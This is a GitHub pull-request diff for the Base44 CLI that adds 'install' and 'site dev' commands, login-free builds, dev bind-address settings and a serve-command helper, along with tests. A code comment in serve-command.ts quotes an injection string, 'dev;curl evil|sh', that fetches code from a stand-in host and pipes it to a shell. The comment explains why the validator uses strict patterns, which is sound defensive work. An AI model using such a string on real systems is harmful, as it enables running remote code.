Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
15 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,11 @@

### Added

- `base44 build` no longer requires a logged-in user: it resolves the app id locally and runs a local build, so a build sandbox can use it.
- `base44 install` runs the site's `installCommand` and nothing else, so a machine that only needs a project's dependencies no longer has to go through `create`, `scaffold` or `eject`. Local only: no login and no app id required.
- `base44 site dev` runs the site's `serveCommand` with no local backend, optionally against a backend the caller names (`--backend-url`; omit it for a frontend that reaches its backend same-origin, and nothing is injected) — the shape a hosted sandbox needs, where `base44 dev` (local backend) and `dev --remote` (the published app) are the developer-machine paths. Serving is its whole job, so it falls back to `npm run dev` when the block names none. `--host` and `--port` bind the dev server through the project's `devHostFlag`, forwarded to an `npm run`, `pnpm`, `yarn` or `bun run` script; a command that cannot take them is refused rather than served on a different address.
- `site.devHost`, `site.devPort` and `site.devHostFlag` say where `site dev` binds and how this project's dev server spells the bind-address flag (`--hostname` for Next, which exits on `--host`). All three default in the config schema — `0.0.0.0`, `5173`, `--host` — and the command takes no options for any of them, so `base44 site dev` needs no arguments and no caller has to know the values. Change them in `base44/config.jsonc`. `base44 dev` is unaffected: it binds nothing.

- `base44 branches list --app-id <id> --json` lists main and active branch names for agents working outside Builder.

- Global `--branch <name>` targets sandbox commands at a specific app branch. Names resolve within the selected app; missing or ambiguous names fail. Other commands reject the flag explicitly; omitting it or using `--branch main` targets main.
Expand Down
7 changes: 1 addition & 6 deletions packages/cli/src/cli/commands/dev.ts
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import {
createServeCommandRunner,
type ServeCommandRunnerOptions,
} from "@/cli/dev/serve-command-runner.js";
import { stopRunnerOnProcessSignals } from "@/cli/dev/stop-runner-on-signals.js";
import type { CLIContext, RunCommandResult } from "@/cli/types.js";
import { type AppIdOptions, Base44Command, theme } from "@/cli/utils/index.js";
import { getDenoWrapperPath } from "@/core/assets.js";
Expand Down Expand Up @@ -65,12 +66,6 @@ async function resolveConfiguredSite(
return serveCommand ? { serveCommand, projectRoot: project.root } : undefined;
}

function stopRunnerOnProcessSignals(runner: ServeRunner): void {
const stop = () => void runner.stop();
process.on("SIGINT", stop);
process.on("SIGTERM", stop);
}

function startServeCommand(
runner: ServeRunner,
backend: { url: string; shutdown: () => Promise<void> },
Expand Down
5 changes: 4 additions & 1 deletion packages/cli/src/cli/commands/project/build.ts
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,10 @@ async function buildAction(ctx: CLIContext): Promise<RunCommandResult> {
}

export function getBuildCommand(): Command {
return new Base44Command("build")
// No API call: the app id comes from --app-id, BASE44_APP_ID or .app.jsonc and
// is injected into a local build, so a machine that has never logged in (a
// build sandbox) can run it.
return new Base44Command("build", { requireAuth: false })
.description("Build the site with the Base44 app id injected")
.action(buildAction);
}
47 changes: 47 additions & 0 deletions packages/cli/src/cli/commands/project/install.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
import type { Command } from "commander";
import { execa } from "execa";
import type { CLIContext, RunCommandResult } from "@/cli/types.js";
import { Base44Command, theme } from "@/cli/utils/index.js";
import { ConfigNotFoundError } from "@/core/errors.js";
import { readProjectConfig } from "@/core/project/index.js";

async function installAction({
runTask,
}: CLIContext): Promise<RunCommandResult> {
const { project } = await readProjectConfig();
const installCommand = project.site?.installCommand;
if (!installCommand) {
throw new ConfigNotFoundError("No site install command found.", {
hints: [
{
message:
'Add a \'site\' block to your config.jsonc (e.g., "site": { "installCommand": "npm ci" }). Inside one, installCommand defaults to "npm install".',
},
],
});
}

await runTask(
"Installing site dependencies...",
() => execa({ cwd: project.root, shell: true })`${installCommand}`,
{
successMessage: "Dependencies installed",
errorMessage: "Install failed",
},
);

return {
outroMessage: `Installed with ${theme.styles.bold(installCommand)}`,
};
}

export function getInstallCommand(): Command {
// Local only: no app to resolve and no API to call, so a machine that has
// never logged in (a build sandbox) can still install a project.
return new Base44Command("install", {
requireAuth: false,
requireAppContext: false,
})
.description("Install the site's dependencies with its configured command")
.action(installAction);
}
86 changes: 86 additions & 0 deletions packages/cli/src/cli/commands/site/dev.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
import type { Command } from "commander";
import { createServeCommandRunner } from "@/cli/dev/serve-command-runner.js";
import { stopRunnerOnProcessSignals } from "@/cli/dev/stop-runner-on-signals.js";
import type { CLIContext, RunCommandResult } from "@/cli/types.js";
import { type AppIdOptions, Base44Command, theme } from "@/cli/utils/index.js";
import { ConfigInvalidError, InvalidInputError } from "@/core/errors.js";
import { readProjectConfig } from "@/core/project/index.js";
import {
DEFAULT_SERVE_COMMAND,
withServeAddress,
} from "@/core/site/serve-command.js";

interface SiteDevOptions extends AppIdOptions {
backendUrl?: string;
}

async function siteDevAction(
ctx: CLIContext,
options: SiteDevOptions,
): Promise<RunCommandResult> {
const { app } = ctx;
// Same shape as `base44 build`: the framework's own app-context step has
// already refused with actionable hints, so this is the type's guard.
if (!app?.projectRoot) {
throw new ConfigInvalidError(
"base44 site dev requires a linked local project. Run it from a project with base44/.app.jsonc.",
);
}

const { project } = await readProjectConfig(app.projectRoot);
const site = project.site;
if (!site) {
throw new InvalidInputError(
"This project has no 'site' block in base44/config.jsonc, so there is no frontend to serve. Add one naming its serveCommand; site dev falls back to \"npm run dev\".",
);
}

// Serving is this command's whole job, so an unnamed dev server is a
// convention rather than "nothing to run". Everything else comes from the
// config, which is why this command takes no arguments for it.
const serveCommand = site.serveCommand ?? DEFAULT_SERVE_COMMAND;
const { command, droppedAddress } = withServeAddress(serveCommand, {
host: site.devHost,
port: site.devPort,
hostFlag: site.devHostFlag,
});
// An address that cannot be delivered is a failure, not a warning: the caller
// is usually a sandbox, and it would otherwise get a preview on some other
// port and a zero exit status saying everything worked.
if (droppedAddress) {
throw new InvalidInputError(
`serveCommand '${serveCommand}' takes no forwarded arguments, so the bind address cannot be passed to it. Bind it inside serveCommand itself, or use an 'npm run', 'pnpm', 'yarn' or 'bun run' script.`,
);
}

const runner = createServeCommandRunner({
serveCommand: command,
projectRoot: project.root,
appId: app.id,
appBaseUrl: options.backendUrl,
});
stopRunnerOnProcessSignals(runner);
runner.onExit((code) => process.exit(code ?? 1));
runner.start();

return {
outroMessage: options.backendUrl
? `Frontend dev server running '${command}' against ${theme.styles.bold(options.backendUrl)}`
: `Frontend dev server running '${command}'`,
};
}

export function getSiteDevCommand(): Command {
// The frontend alone, against a backend the caller names — what a hosted
// sandbox needs. `base44 dev` is the developer-machine command: it also runs
// the backend, locally or (with --remote) the app's published one.
return new Base44Command("dev", { requireAuth: false })
.description(
"Run the site's dev server against a given backend (no local backend)",
)
.option(
"--backend-url <url>",
"Backend the frontend should call, injected as VITE_BASE44_APP_BASE_URL. Omit for a frontend that reaches its backend same-origin.",
)
.action(siteDevAction);
}
2 changes: 2 additions & 0 deletions packages/cli/src/cli/commands/site/index.ts
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
import { Command } from "commander";
import { getSiteDeployCommand } from "./deploy.js";
import { getSiteDevCommand } from "./dev.js";
import { getSiteOpenCommand } from "./open.js";

export function getSiteCommand(): Command {
return new Command("site")
.description("Manage app site (frontend app)")
.addCommand(getSiteDeployCommand())
.addCommand(getSiteDevCommand())
.addCommand(getSiteOpenCommand());
}
7 changes: 5 additions & 2 deletions packages/cli/src/cli/dev/serve-command-runner.ts
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,10 @@ export interface ServeCommandRunnerOptions {
serveCommand: string;
projectRoot: string;
appId: string;
appBaseUrl: string;
/** Omitted when the caller has no backend to name — a frontend that reaches its
* backend same-origin (the Base44 vite plugin proxies `/api`) must not be told
* one, or the SDK would call across origins instead. */
appBaseUrl?: string;
}

export function createServeCommandRunner({
Expand All @@ -20,7 +23,7 @@ export function createServeCommandRunner({
cwd: projectRoot,
env: {
VITE_BASE44_APP_ID: appId,
VITE_BASE44_APP_BASE_URL: appBaseUrl,
...(appBaseUrl ? { VITE_BASE44_APP_BASE_URL: appBaseUrl } : {}),
},
logger: createDevLogger("frontend", theme.colors.base44Orange),
});
Expand Down
9 changes: 9 additions & 0 deletions packages/cli/src/cli/dev/stop-runner-on-signals.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
import process from "node:process";
import type { ServeRunner } from "@/cli/dev/dev-server/serve-runner.js";

/** Tear the dev server down on Ctrl-C and on a terminating signal. */
export function stopRunnerOnProcessSignals(runner: ServeRunner): void {
const stop = () => void runner.stop();
process.on("SIGINT", stop);
process.on("SIGTERM", stop);
}
2 changes: 2 additions & 0 deletions packages/cli/src/cli/program.ts
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ import { getFunctionsCommand } from "@/cli/commands/functions/index.js";
import { getBuildCommand } from "@/cli/commands/project/build.js";
import { getCreateCommand } from "@/cli/commands/project/create.js";
import { getDeployCommand } from "@/cli/commands/project/deploy.js";
import { getInstallCommand } from "@/cli/commands/project/install.js";
import { getLinkCommand } from "@/cli/commands/project/link.js";
import { getLogsCommand } from "@/cli/commands/project/logs.js";
import { getScaffoldCommand } from "@/cli/commands/project/scaffold.js";
Expand Down Expand Up @@ -77,6 +78,7 @@ export function createProgram(context: CLIContext): Command {
program.addCommand(getCreateCommand());
program.addCommand(getScaffoldCommand());
program.addCommand(getDashboardCommand());
program.addCommand(getInstallCommand());
program.addCommand(getBuildCommand());
program.addCommand(getDeployCommand());
program.addCommand(getVisibilityCommand());
Expand Down
12 changes: 12 additions & 0 deletions packages/cli/src/core/project/schema.ts
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,18 @@ const SiteConfigSchema = z.object({
serveCommand: z.string().optional(),
outputDirectory: z.string().optional(),
installCommand: z.string().default("npm install"),
// Where `site dev` binds and how this project's dev server spells the
// bind-address flag: `--host` for Vite/Astro/Nuxt, `--hostname` for Next,
// which exits on `--host`. The port flag itself is not configurable, because
// every dev server spells it `--port`.
//
// Config rather than command-line options, so the caller needs to know none of
// it: `base44 site dev` takes no arguments and reads every decision from here.
// `0.0.0.0` is the address a hosted sandbox needs, its preview being reached
// from outside the container; narrow it where binding the LAN matters.
devHostFlag: z.string().default("--host"),
devHost: z.string().default("0.0.0.0"),
devPort: z.number().int().min(1).max(65535).default(5173),
});

const PluginMetadataSchema = z.object({
Expand Down
1 change: 1 addition & 0 deletions packages/cli/src/core/site/index.ts
Original file line number Diff line number Diff line change
Expand Up @@ -6,5 +6,6 @@ export * from "./git-hash.js";
export * from "./manifest.js";
export * from "./modules.js";
export * from "./schema.js";
export * from "./serve-command.js";
export * from "./upload.js";
export * from "./wrangler-config.js";
66 changes: 66 additions & 0 deletions packages/cli/src/core/site/serve-command.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
/**
* What to run when a project has a site but names no dev server. Not a schema
* default: `base44 dev` reads an absent `serveCommand` as "no frontend to run
* here", so only a command that exists purely to serve one may assume this.
*/
export const DEFAULT_SERVE_COMMAND = "npm run dev";

// A script name and a `--prefix` path, as charsets rather than `\S+`: the latter
// matches `dev;curl evil|sh`, so the predicate would answer "yes, this forwards
// arguments" for a line whose second command is what receives them.
const SCRIPT = "[A-Za-z0-9:_.-]+";
const PREFIX = "[A-Za-z0-9._/-]+";

// Each package manager that forwards extra arguments to the script it runs, and
// what it needs between the script and those arguments. npm consumes them itself
// without `--`; the other three pass anything after the script name straight
// through. A bare binary (`vite`, `next dev`) is absent on purpose — it would
// read a literal `--` as its own argument.
const SCRIPT_RUNNERS: { pattern: RegExp; separator: string }[] = [
{
pattern: new RegExp(
String.raw`^npm(\s+--prefix\s+${PREFIX})?\s+run\s+${SCRIPT}$`,
),
separator: " -- ",
},
{
pattern: new RegExp(String.raw`^(?:pnpm|yarn|bun)(\s+run)?\s+${SCRIPT}$`),
separator: " ",
},
];

interface ServeAddress {
/** Address to bind, e.g. `0.0.0.0` so something outside the machine can reach it. */
host: string;
port: number;
/** How this dev server spells its bind-address flag. */
hostFlag: string;
}

function runnerFor(serveCommand: string) {
return SCRIPT_RUNNERS.find((runner) => runner.pattern.test(serveCommand));
}

/**
* `serveCommand` with a bind address appended, and whether the address had to be
* dropped because the command is not a shape arguments can be forwarded through.
*
* Returned together so a caller cannot mistake "there was no address to append"
* for "the address went nowhere" — the difference between the two is a preview
* that never loads.
*/
export function withServeAddress(
serveCommand: string,
{ host, port, hostFlag }: ServeAddress,
): { command: string; droppedAddress: boolean } {
const command = serveCommand.trim();
const args = [hostFlag, host, "--port", String(port)];
const runner = runnerFor(command);
if (!runner) {
return { command, droppedAddress: true };
}
return {
command: `${command}${runner.separator}${args.join(" ")}`,
droppedAddress: false,
};
}
9 changes: 9 additions & 0 deletions packages/cli/tests/cli/build.spec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,15 @@ describe("build command", () => {
);
});

it("builds without a logged-in user", async () => {
// A build sandbox has an app id and a checkout, never a session.
await t.givenProject(fixture("with-buildable-site"));

const result = await t.run("build");

t.expectResult(result).toSucceed();
});

it("falls back to the default buildCommand when the site block sets none", async () => {
await t.givenLoggedInWithProject(fixture("with-site-defaults"));

Expand Down
43 changes: 43 additions & 0 deletions packages/cli/tests/cli/install.spec.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
import { describe, expect, it } from "vitest";
import { fixture, setupCLITests } from "./testkit/index.js";

describe("install command", () => {
const t = setupCLITests();

it("runs the site's configured installCommand", async () => {
await t.givenLoggedInWithProject(fixture("with-installable-site"));

const result = await t.run("install");

t.expectResult(result).toSucceed();
expect(await t.readProjectFile("install-marker.txt")).toBe("installed");
});

it("installs without a login", async () => {
// A build sandbox that has never logged in must still be able to install.
await t.givenProject(fixture("with-installable-site"));

const result = await t.run("install");

t.expectResult(result).toSucceed();
expect(await t.readProjectFile("install-marker.txt")).toBe("installed");
});

it("fails when the installCommand fails", async () => {
await t.givenLoggedInWithProject(fixture("with-failing-install"));

const result = await t.run("install");

t.expectResult(result).toFail();
t.expectResult(result).toContain("Install failed");
});

it("fails when the project has no site block", async () => {
await t.givenLoggedInWithProject(fixture("basic"));

const result = await t.run("install");

t.expectResult(result).toFail();
t.expectResult(result).toContain("No site install command found");
});
});
Loading
Loading